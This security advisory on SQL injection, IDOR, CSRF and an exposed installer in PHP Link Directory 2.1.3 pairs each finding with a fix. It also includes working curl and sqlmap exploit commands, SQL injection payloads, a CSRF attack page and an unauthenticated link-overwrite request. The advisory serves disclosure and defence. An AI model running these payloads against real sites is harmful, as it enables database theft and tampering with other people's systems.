Title: PHP Link Directory (phpLD) 2.1.x Multiple Vulnerabilities
Product: PHP Link Directory (phpLD)
Vendor: NetCreated, Inc. / phplinkdirectory.com (EOL)
Version: 2.1.3 (also affects 2.1.x branch; tested on 2.1.3)
Type: SQL Injection, IDOR, CSRF, Information Disclosure
Risk: High (authenticated SQLi) / Medium (unauthenticated IDOR)
Discovered: 2026-06-14
Advisory: PHPLD-2026-001
================================================================================
SUMMARY
================================================================================
PHP Link Directory 2.1.3 contains several security issues:
[1] SQL Injection in admin/dir_validate.php (POST CATEGORY_ID)
[2] SQL Injection in admin panel via ORDER BY (GET sort -> session)
[3] Insecure Direct Object Reference in add_reciprocal.php (no auth)
[4] CSRF on admin state-changing GET actions (dir_links_edit.php)
[5] Exposed install/ directory after deployment (configuration risk)
Public-facing search (index.php?q=) and submit.php CAPTCHA are NOT SQL
injectable in default code (parameters are escaped). Do not report those
as SQLi without a separate bypass.
================================================================================
TEST ENVIRONMENT (local PoC only)
================================================================================
Software : phpLD 2.1.3
PHP : 5.x / 7.x (legacy code)
DBMS : MySQL / MariaDB
URL : http://127.0.0.1/phpld/ <-- change to your local path
Prerequisites:
- Completed /install/ setup
- At least one admin user
- At least one active link (STATUS=2) for IDOR test
- At least one link in a category for dir_validate test
================================================================================
[1] SQL INJECTION - admin/dir_validate.php (CATEGORY_ID)
================================================================================
File : admin/dir_validate.php (line ~122)
Auth : Required (admin or editor session)
Method : POST
Param : CATEGORY_ID
Vulnerable code:
if ($_REQUEST['CATEGORY_ID'] > 0) {
$where = " WHERE CATEGORY_ID = '".$_REQUEST['CATEGORY_ID']."'";
}
$rs = $db->Execute("SELECT ... FROM PLD_LINK {$where}");
CATEGORY_ID is concatenated into SQL without escaping.
--- PoC: Time-based blind (manual curl) ---
Step 1 - Authenticate and save session cookie:
curl -c cookies.txt -X POST \
"http://127.0.0.1/phpld/admin/login.php" \
-d "user=admin&pass=admin&submit=Login" -L
Step 2 - Trigger SLEEP (expect ~5 second delay):
curl -b cookies.txt -X POST \
"http://127.0.0.1/phpld/admin/dir_validate.php" \
-d "submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1'+AND+SLEEP(5)--+-"
Step 3 - Boolean comparison (all links vs none):
CATEGORY_ID=1' OR '1'='1
CATEGORY_ID=1' AND '1'='2
--- PoC: sqlmap ---
sqlmap -u "http://127.0.0.1/phpld/admin/dir_validate.php" \
--auth-url="http://127.0.0.1/phpld/admin/login.php" \
--auth-data="user=admin&pass=admin&submit=Login" \
--auth-type=POST \
--data="submit=Start&VALIDATE_LINKS=1&VALIDATE_RECPR=0&CATEGORY_ID=1" \
-p CATEGORY_ID \
--dbms=mysql --prefix="1'" --suffix="-- -" \
--batch --random-agent --time-sec=5
Impact: Full database read/write as DB user (admin credentials dump,
link/category tampering).
Fix: Use $db->qstr($_REQUEST['CATEGORY_ID']) or intval() whitelist.
================================================================================
[2] SQL INJECTION - admin ORDER BY (sort parameter)
================================================================================
File : admin/init.php (line ~216), used by multiple admin/*.php
Auth : Required
Method : GET (stored in session, injected on next page load)
Param : sort
Vulnerable flow:
$_SESSION['sort'][SCRIPT_NAME]['field'] = $_REQUEST['sort'];
...
$orderBy = ' ORDER BY '. SORT_FIELD.' '.SORT_ORDER;
Affected examples:
admin/conf_users.php
admin/conf_payment.php
admin/email_message.php
admin/email_sent_view.php
--- PoC: Two-step ORDER BY time-based (MySQL) ---
Step 1 - Login (see above), save cookies.txt
Step 2 - Poison session via sort parameter:
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN,(SELECT+*+FROM+(SELECT+SLEEP(5))a)"
Step 3 - Load page to execute ORDER BY:
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php"
(Expect ~5s response on step 3 if injectable.)
--- PoC: sqlmap (may require session handling) ---
curl -b cookies.txt \
"http://127.0.0.1/phpld/admin/conf_users.php?sort=LOGIN"
sqlmap -u "http://127.0.0.1/phpld/admin/conf_users.php" \
--load-cookies=cookies.txt \
-p sort --technique=T --dbms=mysql --batch
Fix: Whitelist allowed column names before storing in session.
================================================================================
[3] IDOR - add_reciprocal.php (unauthenticated link update)
================================================================================
File : add_reciprocal.php (line ~71-94)
Auth : NOT required
Method : GET + POST
Param : id, RECPR_URL
Any user who knows/guesses a valid link ID with empty RECPR_URL can update
that link record without proving ownership.
Vulnerable code:
if ($data = $db->GetRow("SELECT * FROM PLD_LINK WHERE ID = ".$db->qstr($id)))
{
$data['RECPR_URL'] = $_REQUEST['RECPR_URL'];
...
$db->Replace($tables['link']['name'], $data, 'ID', true);
}
--- PoC: Unauthenticated reciprocal link overwrite ---
Replace LINK_ID with an existing link ID where RECPR_URL IS NULL.
# Verify form is shown (link exists, recpr empty):
curl -s "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" | \
grep -i "Reciprocal Link URL"
# Overwrite reciprocal URL (no cookie, no login):
curl -X POST "http://127.0.0.1/phpld/add_reciprocal.php?id=LINK_ID" \
-d "RECPR_URL=http://attacker.example/reciprocal.html&submit=Add"
# Verify in DB:
SELECT ID, URL, RECPR_URL FROM PLD_LINK WHERE ID=LINK_ID;
Impact: Unauthorized modification of directory link metadata; SEO /
reciprocal-link integrity compromise.
Fix: Require signed token or owner email verification; bind update to
submitter session/secret.
================================================================================
[4] CSRF - admin link management via GET
================================================================================
File : admin/dir_links_edit.php
Auth : Admin session (victim must be logged in)
Method : GET
Param : action
Examples (victim admin must visit attacker page while logged in):
/admin/dir_links_edit.php?action=D:123 (delete link 123)
/admin/dir_links_edit.php?action=A:123 (approve link 123)
/admin/dir_links_edit.php?action=S:123:2 (set status)
PoC HTML (host on attacker server, victim opens while admin):
<html><body>
<img src="http://127.0.0.1/phpld/admin/dir_links_edit.php?action=D=1" />
<img src="http://127.0.0.1/phpld/admin/dir_links_edit.php?action=A:1" />
</body></html>
Note: Use action format with colon: action=A:1 not action=D=1
Fix: CSRF tokens; use POST for state changes; SameSite cookies.
================================================================================
[5] INFORMATION DISCLOSURE - install/ left accessible
================================================================================
If install/ is not removed after setup, installer remains reachable and
may allow database reconfiguration depending on server state.
PoC:
curl -I "http://127.0.0.1/phpld/install/index.php"
Expected after install: 404 or 403. If 200 OK -> misconfiguration.
Fix: Delete install/ directory after installation.
================================================================================
REMEDIATION (vendor / administrator)
================================================================================
1. Remove install/ after setup
2. Patch dir_validate.php - escape CATEGORY_ID
3. Whitelist sort columns in admin/init.php
4. Add CSRF tokens to all admin mutating actions
5. Add ownership check to add_reciprocal.php
6. Upgrade to supported software; phpLD 2.1.x is end-of-life
7. Do not expose admin panel to internet without IP restriction / 2FA
================================================================================
TIMELINE
================================================================================
2026-06-14 Discovery and local verification
2026-xx-xx Vendor notification (if applicable)
2026-xx-xx Public disclosure
================================================================================
CREDIT
================================================================================
Researcher: [Xasthur]
Reference: PHPLD-2026-001
================================================================================
LEGAL
================================================================================
PoC is intended for authorized local testing and responsible disclosure
only. Unauthorized access to systems you do not own is illegal.
================================================================================